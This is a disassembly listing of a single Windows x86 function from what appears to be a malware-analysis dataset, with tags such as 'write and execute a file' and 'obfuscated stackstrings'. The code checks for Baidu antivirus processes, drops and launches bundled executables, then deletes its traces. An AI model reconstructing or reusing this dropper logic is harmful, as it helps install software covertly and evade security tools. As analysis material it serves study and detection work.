Function at 0x401720
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete directory
Delete file
Get common file path
Set current directory
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x18a0
call fcn.00413340
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x17ec], eax
mov dword [ebp - 0x17e0], esi
push edi
test esi, esi
je 0x40196b
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push 0x3a8
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
jle 0x40196b
lea eax, [edi + 1]
push eax
call fcn.00407e6f
add esp, 4
mov dword [ebp - 0x17e4], eax
test eax, eax
je 0x40196b
lea ecx, [edi + 1]
push ecx
push 0
push eax
call fcn.0040f3c0
add esp, 0xc
push 0
push 0
push edi
push dword [ebp - 0x17e4]
push 0xffffffffffffffff
push esi
push 0
push 0x3a8
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor eax, eax
push 0x206
push eax
mov word [ebp - 0xa58], ax
lea eax, [ebp - 0xa56]
push eax
call fcn.0040f3c0
add esp, 0xc
lea eax, [ebp - 0xa58]
push 0
push 0x23
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x41e6c4
lea eax, [ebp - 0xa58]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0xa58]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40196b
push 0x1fc
push eax
mov dword [ebp - 0x17d8], eax
lea eax, [ebp - 0x17d4]
push eax
call fcn.0040f3c0
add esp, 0xc
lea eax, [ebp - 0x15d8]
push 0x204
push 0
push eax
call fcn.0040f3c0
mov edx, dword [0x545090]
add esp, 0xc
test edx, edx
jle 0x4019cb
push ecx
mov ecx, 0x4233e4
call fcn.00407b80
mov edi, eax
test edi, edi
je 0x40196b
lea eax, [ebp - 0x11a0]
xor edx, edx
push eax
mov ecx, edi
xor esi, esi
call fcn.00407c00
test eax, eax
jne 0x4018ee
jmp 0x401880
push 0x104
call fcn.00408b64
add esp, 4
mov dword [esi*4 + 0x546160], eax
lea ecx, [ebp - 0x119c]
push ecx
push 0x104
push eax
call fcn.00407ff0
add esp, 0xc
push dword [ebp - 0x1078]
call fcn.00408b64
mov dword [esi*4 + 0x546360], eax
mov edx, esi
mov eax, dword [ebp - 0x1078]
mov ecx, edi
push eax
mov dword [esi*4 + 0x546560], eax
push dword [esi*4 + 0x546360]
call fcn.00407d70
lea eax, [ebp - 0x11a0]
inc esi
push eax
mov edx, esi
mov ecx, edi
call fcn.00407c00
test eax, eax
je 0x401880
mov dword [0x546760], esi
cmp esi, 2
jl 0x40196b
xor edi, edi
call fcn.004013f0
test eax, eax
mov dword [ebp - 0x10], 0x642e3638
mov ecx, 1
mov word [ebp - 0xc], 0x6c6c
lea eax, [ebp - 0x10]
mov byte [ebp - 0xa], 0
cmovne edi, ecx
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x546760]
lea eax, [ebp - 0x18]
xor esi, esi
mov dword [ebp - 0x18], 0x642e3436
mov word [ebp - 0x14], 0x6c6c
mov byte [ebp - 0x12], 0
mov dword [ebp - 0x28], eax
test ecx, ecx
jle 0x40196b
mov eax, dword [esi*4 + 0x546160]
test eax, eax
je 0x401966
push eax
push dword [ebp + edi*4 - 0x2c]
call fcn.00408d9c
add esp, 8
test eax, eax
je 0x40197d
mov ecx, dword [0x546760]
inc esi
cmp esi, ecx
jl 0x401944
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407dbf
mov esp, ebp
pop ebp
ret 8
push 0x41e6d8
push dword [ebp - 0x17e0]
lea eax, [ebp - 0x17dc]
push eax
call fcn.00408e78
mov eax, dword [ebp - 0x17dc]
add esp, 0xc
test eax, eax
je 0x40196b
push eax
push dword [esi*4 + 0x546560]
push 1
push dword [esi*4 + 0x546360]
call fcn.004090e0
push dword [ebp - 0x17dc]
call fcn.004091ce
mov esi, dword [ebp - 0x17e0]
add esp, 0x14
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40196b
mov edx, dword [0x545094]
test edx, edx
jle 0x40196b
push ecx
mov ecx, 0x478584
call fcn.00407b80
mov dword [ebp - 0x17dc], eax
test eax, eax
je 0x40196b
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x540], ax
lea eax, [ebp - 0x53e]
push eax
call fcn.0040f3c0
add esp, 0xc
lea eax, [ebp - 0x540]
push 0x104
push dword [ebp - 0x17ec]
push 0x104
push eax
call fcn.004080a1
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x5c
push eax
lea eax, [ebp - 0x540]
push 0x104
push eax
call fcn.00407f39
add esp, 0x1c
xor eax, eax
mov word [ebp - 0x338], ax
push 0x62
push eax
lea eax, [ebp - 0x336]
push eax
call fcn.0040f3c0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00409266
add esp, 4
call fcn.00409245
cdq
mov ecx, 0x1a
idiv ecx
xor esi, esi
lea edi, [edx + 1]
test edi, edi
jle 0x401aaa
call fcn.00409245
cdq
idiv edi
add edx, 0x61
mov word [ebp + esi*2 - 0x338], dx
inc esi
cmp esi, edi
jl 0x401a92
add edi, edi
cmp edi, 0x64
jae 0x402484
xor eax, eax
mov word [ebp + edi - 0x338], ax
lea eax, [ebp - 0x338]
push eax
lea eax, [ebp - 0x540]
push 0x104
push eax
call fcn.00407f39
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x540]
push 0x104
push eax
call fcn.00407f39
add esp, 0xc
push 0x208
call fcn.00408b64
mov esi, eax
add esp, 4
test esi, esi
je 0x40196b
mov ecx, dword [ebp - 0x13d8]
push 0x104
push 0
push esi
mov dword [ebp + ecx*4 - 0x17d8], esi
call fcn.0040f3c0
add esp, 0xc
lea eax, [ebp - 0x540]
push eax
push 0x104
push esi
call fcn.00408045
mov eax, dword [ebp - 0x13d8]
add esp, 0xc
mov dword [ebp + eax*4 - 0x15d8], 1
lea eax, [ebp - 0x540]
mov edi, dword [ebp - 0x13d8]
inc edi
push eax
mov dword [ebp - 0x13d8], edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40196b
lea eax, [ebp - 0x540]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
push 0x1c8
lea eax, [ebp - 0x290]
mov dword [ebp - 0x2d0], 0x6c0042
push 0
push eax
mov dword [ebp - 0x2cc], 0x650075
mov dword [ebp - 0x2c8], 0x6e0049
mov dword [ebp - 0x2c4], 0x740073
mov dword [ebp - 0x2c0], 0x6c0061
mov dword [ebp - 0x2bc], 0x65006c
mov dword [ebp - 0x2b8], 0x5f0072
mov dword [ebp - 0x2b4], 0x730062
mov dword [ebp - 0x2b0], 0x6a0066
mov dword [ebp - 0x2ac], 0x690077
mov dword [ebp - 0x2a8], 0x650062
mov dword [ebp - 0x2a4], 0x31005f
mov dword [ebp - 0x2a0], 0x360036
mov dword [ebp - 0x29c], 0x310031
mov dword [ebp - 0x298], 0x5f0037
mov dword [ebp - 0x294], 0x2e
call fcn.0040f3c0
add esp, 0xc
xor eax, eax
mov word [ebp - 0xc60], ax
push 0x206
push eax
lea eax, [ebp - 0xc5e]
push eax
call fcn.0040f3c0
add esp, 0xc
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0xc60]
push 0x104
push eax
call fcn.00408045
add esp, 0xc
mov dword [ebp - 0x34], 0x6e0070
lea eax, [ebp - 0x34]
mov dword [ebp - 0x30], 0x67
push eax
lea eax, [ebp - 0x2d0]
push 0x104
push eax
call fcn.00407f39
add esp, 0xc
mov dword [ebp - 0x2c], 0x780065
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x28], 0x65
push eax
lea eax, [ebp - 0xc60]
push 0x104
push eax
call fcn.00407f39
add esp, 0xc
mov dword [ebp - 0x1800], 0x540051
xor eax, eax
mov dword [ebp - 0x17fc], 0x6c0061
mov word [ebp - 0x1070], ax
mov dword [ebp - 0x17f8], 0x2e006b
push 0x206
push eax
lea eax, [ebp - 0x106e]
mov dword [ebp - 0x17f4], 0x780065
push eax
mov dword [ebp - 0x17f0], 0x65
call fcn.0040f3c0
add esp, 0xc
xor eax, eax
mov word [ebp - 0xe68], ax
push 0x206
push eax
lea eax, [ebp - 0xe66]
push eax
call fcn.0040f3c0
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x748], ax
lea eax, [ebp - 0x746]
push eax
call fcn.0040f3c0
mov ecx, dword [ebp - 0x17dc]
lea eax, [ebp - 0x13d0]
add esp, 0xc
xor esi, esi
xor edx, edx
mov dword [ebp - 0x17e0], esi
push eax
call fcn.00407c50
test eax, eax
jne 0x401fb9
jmp 0x401d70
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x748]
push 0x104
push eax
call fcn.00408045
add esp, 0xc
lea eax, [ebp - 0x13cc]
push eax
lea eax, [ebp - 0x748]
push 0x104
push eax
call fcn.00407f39
add esp, 0xc
lea ecx, [ebp - 0x1800]
lea eax, [ebp - 0x13cc]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401dd8
test dx, dx
je 0x401dd4
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401dd8
add eax, 4
add ecx, 4
test dx, dx
jne 0x401db2
xor eax, eax
jmp 0x401ddd
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401dfc
lea eax, [ebp - 0x748]
push eax
lea eax, [ebp - 0x1070]
push 0x104
push eax
call fcn.00408045
add esp, 0xc
lea eax, [ebp - 0x2d0]
lea ecx, [ebp - 0x13cc]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x401e2e
test dx, dx
je 0x401e2a
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x401e2e
add ecx, 4
add eax, 4
test dx, dx
jne 0x401e08
xor eax, eax
jmp 0x401e33
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401e88
lea eax, [ebp - 0x540]
push eax
lea eax, [ebp - 0x748]
push 0x104
push eax
call fcn.00408045
add esp, 0xc
lea eax, [ebp - 0xc60]
push eax
lea eax, [ebp - 0x748]
push 0x104
push eax
call fcn.00407f39
add esp, 0xc
lea eax, [ebp - 0x748]
push eax
lea eax, [ebp - 0xe68]
push 0x104
push eax
call fcn.00408045
add esp, 0xc
mov eax, dword [ebp - 0x11c4]
test al, 0x10
je 0x401ea7
push 0
lea eax, [ebp - 0x748]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov eax, dword [ebp - 0x11c4]
test al, 0x20
je 0x401f96
push 0x41e6d8
lea eax, [ebp - 0x748]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00408e78
add esp, 0xc
cmp dword [ebp - 0xc], 0
je 0x401f96
push dword [ebp - 0x11a4]
call fcn.00408b64
add esp, 4
mov esi, eax
push dword [ebp - 0x11a4]
push 0
push esi
call fcn.0040f3c0
mov edx, dword [ebp - 0x17e0]
add esp, 8
mov ecx, dword [ebp - 0x17dc]
push dword [ebp - 0x11a4]
push esi
call fcn.00407d70
push dword [ebp - 0xc]
push dword [ebp - 0x11a4]
push 1
push esi
call fcn.004090e0
push dword [ebp - 0xc]
call fcn.004091ce
add esp, 0x14
push esi
call fcn.00408302
add esp, 4
push 0x208
call fcn.00408b64
mov esi, eax
add esp, 4
test esi, esi
je 0x40196b
push 0x104
push 0
push esi
mov dword [ebp + edi*4 - 0x17d8], esi
call fcn.0040f3c0
add esp, 0xc
lea eax, [ebp - 0x748]
push eax
push 0x104
push esi
call fcn.00408045
mov eax, dword [ebp - 0x13d8]
add esp, 0xc
mov esi, dword [ebp - 0x17e0]
mov dword [ebp + eax*4 - 0x15d8], 0
mov edi, dword [ebp - 0x13d8]
inc edi
mov dword [ebp - 0x13d8], edi
mov ecx, dword [ebp - 0x17dc]
lea eax, [ebp - 0x13d0]
inc esi
push eax
mov edx, esi
mov dword [ebp - 0x17e0], esi
call fcn.00407c50
test eax, eax
je 0x401d70
lea eax, [ebp - 0x1070]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40196b
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor eax, eax
mov dword [ebp - 0xc8], 0x6e0049
mov word [ebp - 0xa4], ax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x540]
mov dword [ebp - 0xc4], 0x720070
push 0x104
push eax
mov dword [ebp - 0xc0], 0x63006f
mov dword [ebp - 0xbc], 0x650053
mov dword [ebp - 0xb8], 0x760072
mov dword [ebp - 0xb4], 0x720065
mov dword [ebp - 0xb0], 0x320033
mov dword [ebp - 0xac], 0x74002e
mov dword [ebp - 0xa8], 0x740078
call fcn.00407f39
add esp, 0xc
lea eax, [ebp - 0x540]
push 0x41e6d8
push eax
lea eax, [ebp - 0x17ec]
push eax
call fcn.00408e78
mov edx, dword [ebp - 0x17ec]
add esp, 0xc
test edx, edx
je 0x40196b
mov ecx, dword [ebp - 0x17e4]
lea esi, [ecx + 1]
jmp 0x402090
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402090
push edx
sub ecx, esi
push ecx
push 1
push dword [ebp - 0x17e4]
call fcn.004090e0
push dword [ebp - 0x17ec]
call fcn.004091ce
add esp, 0x14
mov dword [ebp - 0x1858], 0x44
xor eax, eax
mov dword [ebp - 0x1854], 0
mov dword [ebp - 0x1828], eax
mov dword [ebp - 0x1824], eax
lea eax, [ebp - 0x1810]
push eax
lea eax, [ebp - 0x1858]
mov dword [ebp - 0x1850], 0x41e660
push eax
push 0
push 0
push 0x200
push 0
push 0
push 0
lea eax, [ebp - 0x1070]
mov dword [ebp - 0x184c], 0
push eax
push 0
mov dword [ebp - 0x182c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40196b
push 0xffffffffffffffff
push dword [ebp - 0x1810]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x180c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1810]
call esi
lea eax, [ebp - 0xe68]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x402404
lea eax, [ebp - 0x80]
mov dword [ebp - 0x80], 0x610042
mov ecx, 0x78
mov dword [ebp - 0x7c], 0x640069
push eax
mov dword [ebp - 0x78], 0x530075
mov dword [ebp - 0x74], 0x540064
mov dword [ebp - 0x70], 0x610072
mov dword [ebp - 0x6c], 0x2e0079
mov dword [ebp - 0x68], 0x780065
mov dword [ebp - 0x64], 0x65
mov dword [ebp - 0xa0], 0x610042
mov dword [ebp - 0x9c], 0x640069
mov dword [ebp - 0x98], 0x410075
mov dword [ebp - 0x94], 0x54006e
mov dword [ebp - 0x90], 0x610072
mov dword [ebp - 0x8c], 0x2e0079
mov dword [ebp - 0x88], 0x780065
mov dword [ebp - 0x84], 0x65
call fcn.00401310
test eax, eax
jne 0x402404
lea eax, [ebp - 0xa0]
push eax
call fcn.00401310
test eax, eax
jne 0x402404
lea ecx, [eax + 0x72]
mov word [ebp - 0x38], ax
push 0x200
lea eax, [ebp - 0x60]
mov dword [ebp - 0x60], 0x4f0053
push eax
push ecx
mov dword [ebp - 0x5c], 0x540046
mov dword [ebp - 0x58], 0x410057
mov dword [ebp - 0x54], 0x450052
mov dword [ebp - 0x50], 0x4a005c
mov dword [ebp - 0x4c], 0x7a0075
mov dword [ebp - 0x48], 0x420069
mov dword [ebp - 0x44], 0x6f0072
mov dword [ebp - 0x40], 0x730077
mov dword [ebp - 0x3c], 0x720065
call fcn.00401570
test al, al
jne 0x402404
push pe_nt_image_headers32
lea eax, [ebp - 0x60]
push eax
push ecx
call fcn.00401570
test al, al
jne 0x402404
xor eax, eax
mov dword [ebp - 0x18a0], 0x44
mov dword [ebp - 0x1870], eax
mov dword [ebp - 0x186c], eax
lea eax, [ebp - 0x17fc]
push eax
lea eax, [ebp - 0x18a0]
mov dword [ebp - 0x189c], 0
push eax
push 0
push 0
push 0x200
push 0
push 0
push 0
lea eax, [ebp - 0xe68]
mov dword [ebp - 0x1898], 0x41e660
push eax
push 0
mov dword [ebp - 0x1894], 0
mov dword [ebp - 0x1874], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x402404
push 0xffffffffffffffff
push dword [ebp - 0x17fc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x17f8]
call esi
push dword [ebp - 0x17fc]
call esi
push 0x103
lea eax, [ebp - 0x1177]
mov byte [ebp - 0x1178], 0
push 0
push eax
call fcn.0040f3c0
add esp, 0xc
lea eax, [ebp - 0x1178]
push 0
push 0x17
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x402404
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0xb9b6c05c
mov dword [ebp - 0x17e8], eax
xor esi, esi
lea eax, [ebp - 0x24]
mov dword [ebp - 0xc], 0xbaa6b1e2
mov word [ebp - 8], 0xd0
mov dword [ebp - 0x24], 0xd2f7d65c
mov dword [ebp - 0x20], 0xcac0ceb3
mov word [ebp - 0x1c], 0xbf
mov dword [ebp - 0x17e4], eax
jmp 0x4023a0
push 0x103
lea eax, [ebp - 0x84f]
mov byte [ebp - 0x850], 0
push 0
push eax
call fcn.0040f3c0
add esp, 0xc
lea eax, [ebp - 0x1178]
push eax
lea eax, [ebp - 0x850]
push 0x104
push eax
call fcn.00407ff0
add esp, 0xc
lea eax, [ebp - 0x850]
push dword [ebp + esi*4 - 0x17e8]
push 0x104
push eax
call fcn.0040815f
add esp, 0xc
lea ecx, [ebp - 0x850]
call fcn.004015b0
inc esi
cmp esi, 2
jl 0x4023a0
xor esi, esi
mov dword [ebp - 0x17e4], 0
test edi, edi
jle 0x402450
mov eax, dword [ebp + esi*4 - 0x17d8]
test eax, eax
je 0x40243a
cmp dword [ebp + esi*4 - 0x15d8], 0
je 0x402433
mov ecx, eax
mov dword [ebp - 0x17e4], ecx
jmp 0x402440
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x17e4]
inc esi
cmp esi, edi
jl 0x402414
test ecx, ecx
je 0x402450
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push ecx
call fcn.00401440
push 0
push 0
push 1
push 0
push 7
push 0x10000000
lea eax, [ebp - 0xa58]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00407dbf
mov esp, ebp
pop ebp
ret 8
call fcn.0040843f
int3